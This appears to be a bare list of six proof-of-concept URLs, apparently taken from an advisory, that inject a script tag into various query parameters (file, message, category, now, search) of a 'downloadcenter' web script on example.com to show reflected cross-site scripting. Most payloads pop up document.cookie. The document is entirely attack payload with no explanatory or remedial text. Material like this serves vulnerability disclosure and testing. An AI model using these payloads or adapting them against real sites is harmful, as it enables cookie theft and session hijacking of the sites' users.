http://www.example.com/downloadcenter/?now=get&nav=null&message=Downloading&file="><script>alert(document.cookie)</script>
http://www.example.com/downloadcenter/?nav=login&message="><script>alert(document.cookie)</script>
http://www.example.com/downloadcenter/?nav=browse&category="><script>alert("xss")</script>
http://www.example.com/downloadcenter/?now="><script>alert(document.cookie)</script>
http://www.example.com/downloadcenter/?nav=null&now="><script>alert(document.cookie)</script>
http://www.example.com/downloadcenter/?nav=search_results&search="><script>alert(document.cookie)</script>